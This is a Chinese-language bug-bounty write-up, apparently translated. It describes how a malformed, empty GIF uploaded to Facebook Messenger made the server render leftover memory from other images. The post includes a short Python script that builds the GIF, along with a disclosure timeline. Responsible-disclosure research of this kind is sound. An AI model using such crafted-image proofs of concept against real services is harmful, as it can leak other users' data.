一次奇特的Facebook图片缓存泄露漏洞——10000美金
介绍
一年前,大概在2018年2月,我正在测试Facebook Messenger的Android客户端会如何处理已损坏的GIF图像。我之所以会做这项研究是因为受到了Imagemagick处理gif图片时出现的“未初始化内存泄露”漏洞的启发,其漏洞PoC为gifoeb。
我发现Messenger在处理gifoeb生成的恶意图像时只会崩溃,而Facebook并不认为这是DoS漏洞,拒绝给我漏洞奖励。
好吧。让我深入研究一下,看看怎样才能获得赏金。
基本的GIF图像
我发现了GIF图像格式的清晰描述,主标题应如下所示:
偏移量 长度 内容
0 3 bytes "GIF"
3 3 bytes "87a" or "89a"
6 2 bytes <逻辑屏幕宽>
8 2 bytes <逻辑屏幕高>
10 1 byte bit 0: 全局颜色表标记 (GCTF)
bit 1..3: 颜色分辨率
bit 4: 全局颜色表排序标志
bit 5..7: 全局颜色表大小: 2^(1+n)
11 1 byte <背景颜色索引>
12 1 byte <像素长宽比>
13 ? bytes <全局颜色表(0..255 x 3 bytes) if GCTF is one>
? bytes <数据块>
1 bytes <Trailer> (0x3b)
如果你想深入了解,可点击:http://www.onicos.com/staff/iz/formats/gif.html#header。
我决定先创建一个最短小的GIF文件。
制作GIF
我使用了一个简单的python脚本来生生成简单的GIF文件。
import struct
screenWidth = 640
screenHeight = 480
f = open('test.gif', 'wb')
# Offset Length Contents
# 0 3 bytes "GIF"
# 3 3 bytes "87a" or "89a"
f.write(b"GIF89a")
# 6 2 bytes <逻辑屏幕宽度>
f.write(struct.pack('<h', screenWidth))
# 8 2 bytes <辑屏幕高度>
f.write(struct.pack('<h', screenHeight))
# 10 1 byte bit 0:全局颜色表标志 (GCTF)
# bit 1..3: 颜色分辨率
# bit 4:全局颜色表排序标志
# bit 5..7: 全局颜色表大小: 2^(1+n)
bits = int('00000010', 2)
f.write(struct.pack('<b', bits))
# 11 1 byte <背景颜色索引>
f.write(struct.pack('<b', 0))
# 12 1 byte <像素长宽比>
f.write(struct.pack('<b', 1))
# 13 ? bytes <全局颜色表(0..255 x 3 bytes) if GCTF is one>
# ? bytes <Blocks>
# Offset Length Contents
# 0 1 byte Image Separator (0x2c)
f.write(struct.pack('<b', 0x2c))
# 1 2 bytes Image Left Position
f.write(struct.pack('<h', 0))
# 3 2 bytes Image Top Position
f.write(struct.pack('<h', 0))
# 5 2 bytes Image Width
f.write(struct.pack('<h', screenWidth))
# 7 2 bytes Image Height
f.write(struct.pack('<h', screenHeight))
# 8 1 byte bit 0:Local Color Table Flag (LCTF)
# bit 1:Interlace Flag
# bit 2:Sort Flag
# bit 2..3: Reserved
# bit 4..7: Size of Local Color Table: 2^(1+n)
# ? bytes Local Color Table(0..255 x 3 bytes) if LCTF is one
f.write(struct.pack('<b', int('00000100', 2)))
# 1 byte LZW Minimum Code Size
#f.write(struct.pack('<b', 1))
# [ // Blocks
# 1 byte Block Size (s)
#f.write(struct.pack('<b', 1))
# (s)bytes Image Data
# ]*
# 1 byte Block Terminator(0x00)
#f.write(struct.pack('<b', 0))
# 1 bytes <Trailer> (0x3b)
f.write(struct.pack('<b', 0x3b))
f.close()
需要注意的是,我的这张图片啥内容都没有,只是为了测试而已。
Facebook Messenger
我开始用我生成的GIF文件测试Facebook Messenger的Android版本(我试了很多不同大小的变图片),不断传输这张图片,看看会发生什么。但很可惜,我没看到发生任何奇怪的事情......但是,当我在笔记本电脑上打开Messenger时,发现我上传的图片变成如下所示:
等等,我的GIF是没有任何内容的,那么我现在看到的图像是什么?
我改变了GIF文件尺寸,再次测试,这次看到一个白噪声图像,嗯?很奇怪:
真奇怪,我再次上传了相同的文件并观察到:
好像两次图像有点不同?我明明上传了相同的GIF文件啊?
在我把这个奇怪的图像拉大后点击播放时:
于是,我开始生成不同长宽比的图片,上传测试。
最终,我看到了这个画面:
我意识到我的这个GIF图像获取了一些缓存信息,因为我的图像本该什么都没有。
视频链接:https://v.youku.com/v_show/id_XNDA5NTQ5MzUyOA==.html?spm=a2h3j.8428770.3416059.1
时间线
2018年2月26日:向Facebook团队报告
2018年3月1日:确认中
2018年3月9日:修复
2018年3月21日:10000美元奖励
本文由白帽汇整理并翻译,不代表白帽汇任何观点和立场
来源:https://www.vulnano.com/2019/03/facebook-messenger-server-random-memory.html
最新评论